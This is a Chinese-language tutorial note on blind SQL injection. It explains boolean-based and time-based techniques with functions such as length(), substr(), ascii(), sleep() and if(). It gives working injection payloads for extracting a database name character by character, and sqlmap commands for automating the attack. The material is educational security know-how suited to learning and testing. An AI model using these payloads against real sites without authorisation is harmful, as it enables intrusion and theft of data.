一、盲注介绍
本质:用户输入的数据当作代码去执行
定义:
盲注对应的是显错注入。但是很多时候,web服务器关闭了错误回显,这时候我们就无法实行sql注入了吗?明显不是这样的。
盲注在服务器没有回显的时候完成了注入攻击,由于没有错误回显,对于攻击者来说,就缺少了“调试信息”
分类:
时间注入(延时注入):面返回值只有一种true,无论输入任何值,返回情况都会按正常的情况来处理。假如特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正常。
布尔型盲注分局: 根据注入信息返回true和false,也就没有了之前的报错信息
二:布尔型盲注常用的函数
1.length() 返回字符串的长度
应用:select length(database());//获取当前数据库名的长度
应法:url id=1 and length(database())=12 //判断数据库名的名长度是否是12位。不是就来回换,(用二分法猜测)
2.substr() 截取字符串
用法:substr(操作的字符串,第几位开始,分割几位)
应用:select substr(database(),1,1)// 截取当前数据库名的第一位
3.ascii()
用法:select ascii(‘n’)//返回110,这是n的ascii编码
应用:where id=1 and ascii(substr(database(),1,1))>120
//判断当数据库名的第一个字符的ascii是否大于120
//利用二分法就能判断出数据库名的第一个字符和整个数据库名
4.手工很累.可以用工具 burp sqlmap ,很快就可以爆出当前数据库的名称。这就是盲注的原理,后边基本都一样
sqlmap跑盲注如果没跑出来,可能是等级的问题,提高测试等级试试
sqlmap -u “url” --level 3
如果知道格式,可以手动帮助闭合
sqlmap -u “url” " //这个额外的"出错可以换成url编码试试(%22)直接补充"
因为无法闭合造成问题
改为:sqlmap -u url%22 或者 sqlmap -u “url”%22
***补充:清理sqlmap的缓存,–flush-session
三、延时注入(延时注入)
Sleep函数:
sleep(n) //n为秒数,
应用:id = 1 and sleep(10) --suibian //如果页面停止10秒,在正常返回,即存在延时注入
if(句式一;句式二;句式三) //第一个是判断句,如果句式一为真,则执行句式二;否则执行句式三
用法:select if(1=1,5,‘a’) //返回5
select if(1=2,5,‘a’) //返回a
应用:select if(ascii(substr(database(),1,1))=50,sleep(5),‘a’)//接下来就正常操作
注意:sql中没有“==”这种用法
四、总结
- 掌握盲注基本的操作
- 多多练习,手工注入+sqlmap跑